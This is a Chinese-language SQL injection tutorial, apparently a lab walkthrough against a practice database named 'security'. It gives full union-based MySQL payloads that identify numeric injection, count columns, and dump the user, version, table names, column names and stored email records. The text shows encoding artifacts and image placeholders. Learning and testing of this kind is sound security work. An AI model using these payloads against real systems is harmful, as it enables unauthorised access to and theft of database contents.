1.如何判斷字符型注入和數(shù)字型注入
關(guān)于判斷注入類型的解釋,簡(jiǎn)單的說通過sql語(yǔ)句的輸入測(cè)試來判斷源碼如何定義的輸入數(shù)據(jù)。
2.預(yù)備知識(shí)
SQL注入攻擊指的是通過構(gòu)建特殊的輸入作為參數(shù)傳入Web應(yīng)用程序,而這些輸入大都是SQL語(yǔ)法里的一些組合,通過執(zhí)行SQL語(yǔ)句進(jìn)而執(zhí)行攻擊者所要的操作,其主要原因是程序沒有細(xì)致地過濾用戶輸入的數(shù)據(jù),致使非法數(shù)據(jù)侵入系統(tǒng)。根據(jù)相關(guān)技術(shù)原理,SQL注入可以分為平臺(tái)層注入和代碼層注入。前者由不安全的數(shù)據(jù)庫(kù)配置或數(shù)據(jù)庫(kù)平臺(tái)的漏洞所致;后者主要是由于程序員對(duì)輸入未進(jìn)行細(xì)致地過濾,從而執(zhí)行了非法的數(shù)據(jù)查詢。
3.測(cè)試過程
3.1判斷類型
用單引號(hào)進(jìn)行輸入,發(fā)現(xiàn)錯(cuò)誤界面,這可能是因?yàn)椴樵兇a使用了整數(shù)。
image.png
再根據(jù)輸入 and 1=1 和 and 1=2 返回的是正確和錯(cuò)誤的畫面,可以判定為是整型注入(數(shù)字型注入)。由此可以輸入sql語(yǔ)句進(jìn)行查詢,獲得我們想要的數(shù)據(jù)。
3.2注入爆破
通過輸入 order by【數(shù)字】 來判斷輸入的列有幾行,直到返回正確界面。利用二分法從數(shù)字10往開始減小,最終確定數(shù)字3
image.png
通過以下代碼來判斷顯錯(cuò)點(diǎn)。
and 1=2 union select 1,2,3
第二列和第三列是顯錯(cuò)點(diǎn)。
image.png
1.通過以下代碼查看用戶信息,數(shù)據(jù)庫(kù)名稱,版本信息
and 1=2 union select 1,concat_ws(char(58,32,32),user(),database(),version()),3

image.png
2.通過以下代碼查看所有的表。
and 1=2 union select 1,2,group_concat(table_name )from information_schema.tables where table_schema = 'security'

image.png
3.查看任意一個(gè)表中的列。
and 1=2 union select 1,2,group_concat(column_name )from information_schema.columns where table_name = 'emails'

image.png
4..通過以下代碼查看所有的列的值。
and 1=2 union select 1,2,group_concat(id,' ',email_id)from security.emails

image.png